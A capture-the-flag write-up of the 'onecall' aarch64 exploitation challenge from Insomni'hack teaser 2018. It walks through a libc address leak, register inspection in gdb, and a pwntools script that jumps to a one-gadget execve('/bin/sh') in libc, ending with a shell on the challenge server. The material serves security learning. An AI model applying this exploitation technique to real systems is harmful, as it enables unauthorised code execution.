onecall was an exploitation challenge in Insomni’hack teaser 2018.

The binary is an ELF for ARM aarch64 architecture.

$ file onecall
onecall: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 3.7.0, BuildID[sha1]=a079105939125d9b24caa2c6716681681da99011, stripped

We can run it locally with qemu-aarch64.

./qemu-aarch64 -nx -L ./ ./onecall
  • add -g 1234 flag to wait for gdb connection on port 1234

The binary leaks libc address, and allows to user to enter something.

$ ./qemu-aarch64 -nx -L ./ ./onecall
0000000000400000-0000000000401000 r-xp 00000000 08:05 2621653          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/onecall
0000000000410000-0000000000411000 r--p 00000000 08:05 2621653          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/onecall
0000000000411000-0000000000412000 rw-p 00001000 08:05 2621653          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/onecall
00000000060c8000-00000000061f6000 r-xp 00000000 08:05 2621733          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/
00000000061f6000-0000000006205000 ---p 0012e000 08:05 2621733          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/
0000000006205000-0000000006209000 r--p 0012d000 08:05 2621733          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/
0000000006209000-000000000620b000 rw-p 00131000 08:05 2621733          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/
000000000620b000-000000000620f000 rw-p 00000000 00:00 0 
0000000025ec8000-0000000025ee9000 rw-p 00000000 00:00 0 
0000000031644000-0000000031660000 r-xp 00000000 08:05 2621658          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/
0000000031660000-0000000031670000 ---p 00000000 00:00 0 
0000000031670000-0000000031671000 r--p 0001c000 08:05 2621658          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/
0000000031671000-0000000031673000 rw-p 0001d000 08:05 2621658          /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/
0000000043a0f000-0000000043a10000 rw-p 00000000 00:00 0 
000000005b7f1000-000000005b7f2000 rw-p 00000000 00:00 0 
00007f792419e000-00007f792419f000 ---p 00000000 00:00 0 
00007f792419f000-00007f792499f000 rw-p 00000000 00:00 0                [stack]

Where do we go from here ?

The program will jump to given address, but we don’t control arguments (passed in X0 register) so we can’t call system("/bin/sh").

After some research, I found a trick called one-gadget RCE on DragonSector presentation. We can find a execve("/bin/sh",NULL,NULL) gadget (or something similar with exec… functions family) in to pop a shell.

With IDA Pro you can search for string “/bin/sh” references. This Piece of code above will store the address of “/bin/sh” in X0. It create also an array pointed by X1 which contains the address of “/bin/sh” following by X23 value.

The following block call execve. If X0 point to string “/bin/sh”, and X1 point to a array { “/bin/sh”, NULL} and X2 set to NULL it will pop a shell.

But before executing it:

  • first argument X1 must point to a valid and writable address.
  • argv must be terminated by NULL, so X23 must contain NULL.
  • second argument, X2 depend of X20, so X20 must contain NULL.

We will examine CPU context with gdb before the call.

gdb-peda$ target remote :1234
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
Warning: not running or target is remote
0x000000004c3adcc0 in ?? ()
gdb-peda$ b* 0x40097C
Breakpoint 1 at 0x40097c
gdb-peda$ c
gdb-peda$ info registers
x0             0x7ff2e6097b48	0x7ff2e6097b48
x1             0x4141414141414141	0x4141414141414141
x2             0x8	0x8
x3             0x7ff2e6097b48	0x7ff2e6097b48
x4             0x10	0x10
x5             0x18	0x18
x6             0xfefefefefeff3e1f	0xfefefefefeff3e1f
x7             0x7f7f7f7f7f7f7f7f	0x7f7f7f7f7f7f7f7f
x8             0x3f	0x3f
x9             0x3030393930366532	0x3030393930366532
x10            0x101010101010101	0x101010101010101
x11            0x2030303030303030	0x2030303030303030
x12            0x20302030303a3030	0x20302030303a3030
x13            0x2020202020202020	0x2020202020202020
x14            0x0	0x0
x15            0x4c3d9cc0	0x4c3d9cc0
x16            0x0	0x0
x17            0x411030	0x411030
x18            0xa03	0xa03
x19            0x4009e0	0x4009e0
x20            0x0	0x0
x21            0x0	0x0
x22            0x0	0x0
x23            0x0	0x0
x24            0x0	0x0
x25            0x0	0x0
x26            0x0	0x0
x27            0x0	0x0
x28            0x0	0x0
x29            0x7ff2e6097b30	0x7ff2e6097b30
x30            0x400974	0x400974
sp             0x7ff2e6097b30	0x7ff2e6097b30
pc             0x40097c	0x40097c
cpsr           0x60000000	0x60000000
fpsr           0x0	0x0
fpcr           0x0	0x0

x23 and x20 contain NULL but x1 doesn’t point to a writable address.

Before loc_9B9E we see that X1 take its value from SP, or from the result of malloc function which means that X1 will contain a valid and writable address.

I wrote a script to leak libc address and execute the gadget.

from pwn import *

OFF_EXECL =  0x9B9E0

p = process("./")
#p = remote("",1337) 
libc_leak = 0x0
while libc_leak == 0x00:
	leak = p.recvline()
	if "" in leak:
		if "r-xp" in leak:
			libc_leak = int(leak.split("-")[0],16) 
print("libc_leak : %x" % libc_leak)
function = libc_leak + OFF_EXECL
print("call %x" % function)

I tried to execute code at 0x9B9E0 but i got a sigsegv.

gdb-peda$ target remote :1234
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
Warning: not running or target is remote
0x0000000046f77cc0 in ?? ()
gdb-peda$ c

Program received signal SIGSEGV, Segmentation fault.
Warning: not running or target is remote
0x0000000071fb3a1c in ?? ()
gdb-peda$ disas 0x71fb3a1c-0x20,0x71fb3a1c+0x20
Dump of assembler code from 0x71fb39fc to 0x71fb3a3c:
   0x0000000071fb39fc:	sub	w0, w21, #0x2
   0x0000000071fb3a00:	sub	x0, x3, x0
   0x0000000071fb3a04:	lsl	x3, x3, #3
   0x0000000071fb3a08:	lsl	x0, x0, #3
   0x0000000071fb3a0c:	add	x2, x19, x3
   0x0000000071fb3a10:	sub	x0, x0, #0x8
   0x0000000071fb3a14:	add	x3, x1, x3
   0x0000000071fb3a18:	add	x19, x19, x0
=> 0x0000000071fb3a1c:	ldr	x0, [x2,#-8]!
   0x0000000071fb3a20:	cmp	x2, x19
   0x0000000071fb3a24:	str	x0, [x3],#-8
   0x0000000071fb3a28:	0x71fb3a1c
   0x0000000071fb3a2c:	ldr	x0, [x1]
   0x0000000071fb3a30:	mov	x2, x20
   0x0000000071fb3a34:	bl	0x71fb31b0
   0x0000000071fb3a38:	mov	x0, x24
gdb-peda$ info register $x2
x2             0x400000	0x400000

x2 points to the begining of the ELF in memory. x2 - 8 points to a invalid address.

X2 depends on X3 which depends on W21. If W21 is not NULL, X2 will point after the beginning of the ELF.

The above block, before address 0x9B9E0, will increment W21.

I tried to jump at 0x9B9A4 ( MOV W1,#0 ) and i got a shell x)

[+] Opening connection to on port 1337: Done
0000000000400000-0000000000401000 r-xp 00000000 ca:01 256112          /home/onecall/chall/onecall

0000000000410000-0000000000411000 r--p 00000000 ca:01 256112          /home/onecall/chall/onecall

0000000000411000-0000000000412000 rw-p 00001000 ca:01 256112          /home/onecall/chall/onecall

000000000661f000-0000000006640000 rw-p 00000000 00:00 0 

000000000bd79000-000000000bd7a000 rw-p 00000000 00:00 0 

0000000035b11000-0000000035c3f000 r-xp 00000000 ca:01 256115          /home/onecall/chall/lib/

libc_leak : 35b11000
call 35bac9a4
[*] Switching to interactive mode
0000000035c3f000-0000000035c4e000 ---p 0012e000 ca:01 256115          /home/onecall/chall/lib/
0000000035c4e000-0000000035c52000 r--p 0012d000 ca:01 256115          /home/onecall/chall/lib/
0000000035c52000-0000000035c54000 rw-p 00131000 ca:01 256115          /home/onecall/chall/lib/
0000000035c54000-0000000035c58000 rw-p 00000000 00:00 0 
000000007db08000-000000007db24000 r-xp 00000000 ca:01 256114          /home/onecall/chall/lib/
000000007db24000-000000007db34000 ---p 00000000 00:00 0 
000000007db34000-000000007db35000 r--p 0001c000 ca:01 256114          /home/onecall/chall/lib/
000000007db35000-000000007db37000 rw-p 0001d000 ca:01 256114          /home/onecall/chall/lib/
000000007ebf0000-000000007ebf1000 rw-p 00000000 00:00 0 
00007fe3a5bba000-00007fe3a5bbb000 ---p 00000000 00:00 0 

Where do we go from here ?
$ ls -la
total 2092
drwxr-xr-x 3 root    root       4096 Jan 20 12:21 .
drwxr-x--- 3 onecall onecall    4096 Jan 19 23:14 ..
-rw-r--r-- 1 root    root         34 Jan 19 23:33 flag.txt
drwxr-xr-x 2 root    root       4096 Jan 18 22:12 lib
-rwxr-xr-x 1 root    root       6216 Jan 19 22:37 onecall
-rwxr-xr-x 1 root    root    2113112 Jan 19 22:55 qemu-aarch64
-rwxr-xr-x 1 root    root         77 Jan 20 12:14
$ cat flag.txt